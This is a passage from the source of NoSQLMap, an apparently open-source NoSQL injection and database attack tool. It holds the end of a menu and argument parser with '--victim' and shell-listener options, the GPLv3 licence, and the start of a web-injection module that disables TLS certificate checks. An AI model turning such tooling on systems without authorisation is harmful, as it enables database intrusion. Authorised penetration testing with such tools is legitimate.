466 | paramNames.append(tempList[0])
467 | paramValues.append(tempList[1])
468 |
469 | postData = dict(zip(paramNames,paramValues))
470 |
471 | else:
472 | print "unsupported method in request header."
473 |
474 | # load the HTTP headers
475 | for line in reqData[1:]:
476 | print(line)
477 | if not line.strip(): break
478 | header = line.split(": ");
479 | requestHeaders[header[0]] = header[1].strip()
480 |
481 | victim = reqData[1].split( " ")[1]
482 | optionSet[0] = True
483 | uri = methodPath[1]
484 | optionSet[2] = True
485 |
486 | elif select == "b":
487 | savePath = raw_input("Enter file name to save: ")
488 | try:
489 | with open(savePath, "wb") as fo:
490 | fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https)
491 |
492 | if httpMethod == "POST":
493 | fo.write(",\n"+ str(postData))
494 | fo.write(",\n" + str(requestHeaders) )
495 | print "Options file saved!"
496 | except IOError:
497 | print "Couldn't save options file."
498 |
499 | elif select == "h":
500 | reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n")
501 | build_request_headers(reqHeadersIn)
502 |
503 | elif select == "x":
504 | return
505 |
506 | def build_parser():
507 | parser = argparse.ArgumentParser()
508 | parser.add_argument("--attack", help="1 = NoSQL DB Access Attacks, 2 = NoSQL Web App attacks, 3 - Scan for Anonymous platform Access", type=int, choices=[1,2,3])
509 | parser.add_argument("--platform", help="Platform to attack", choices=["MongoDB", "CouchDB"], default="MongoDB")
510 | parser.add_argument("--victim", help="Set target host/IP (ex: localhost or 127.0.0.1)")
511 | parser.add_argument("--dbPort", help="Set shell listener port", type=int)
512 | parser.add_argument("--myIP",help="Set my local platform/Shell IP")
513 | parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int)
514 | parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int)
515 | parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]")
516 | parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET")
517 | parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF")
518 | parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF")
519 | parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
520 | parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
521 |
522 | modules = [nsmcouch, nsmmongo, nsmscan, nsmweb]
523 | for module in modules:
524 | group = parser.add_argument_group(module.__name__)
525 | for arg in module.args():
526 | group.add_argument(arg[0], help=arg[1])
527 |
528 | return parser
529 |
530 | def signal_handler(signal, frame):
531 | print "\n"
532 | print "CTRL+C detected. Exiting."
533 | sys.exit()
534 |
535 | if __name__ == '__main__':
536 | parser = build_parser()
537 | args = parser.parse_args()
538 | main(args)
539 |
--------------------------------------------------------------------------------
/COPYING:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
--------------------------------------------------------------------------------
/nsmweb.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3 | # See the file 'doc/COPYING' for copying permission
4 |
5 |
6 | import urllib
7 | import urllib2
8 | import string
9 | import nsmmongo
10 | from sys import version_info
11 | import datetime
12 | import time
13 | import random
14 |
15 | # Fix for dealing with self-signed certificates. This is wrong and highly discouraged, to be revisited in stable branch
16 |
17 | if version_info >= (2, 7, 9):
18 | import ssl
19 | ssl._create_default_https_context = ssl._create_unverified_context
20 |
21 |
22 | def save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack):
23 | fo = open(savePath, "wb")
24 | fo.write ("Vulnerable URLs:\n")
25 | fo.write("\n".join(vulnAddrs))
26 | fo.write("\n\n")
27 | fo.write("Possibly Vulnerable URLs:\n")
28 | fo.write("\n".join(possAddrs))
29 | fo.write("\n")
30 | fo.write("Timing based attacks:\n")
31 |
32 | if strTbAttack == True:
33 | fo.write("String Attack-Successful\n")
34 | else:
35 | fo.write("String Attack-Unsuccessful\n")
36 | fo.write("\n")
37 |
38 | if intTbAttack == True:
39 | fo.write("Integer attack-Successful\n")
40 | else:
41 | fo.write("Integer attack-Unsuccessful\n")
42 | fo.write("\n")
43 | fo.close()
44 |
45 | def args():
46 | return [
47 | ["--injectedParameter", "Parameter to be injected"],
48 | ["--injectSize", "Size of payload"],
49 | ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"],
50 | ["--params", "Enter parameters to inject in a comma separated list"],
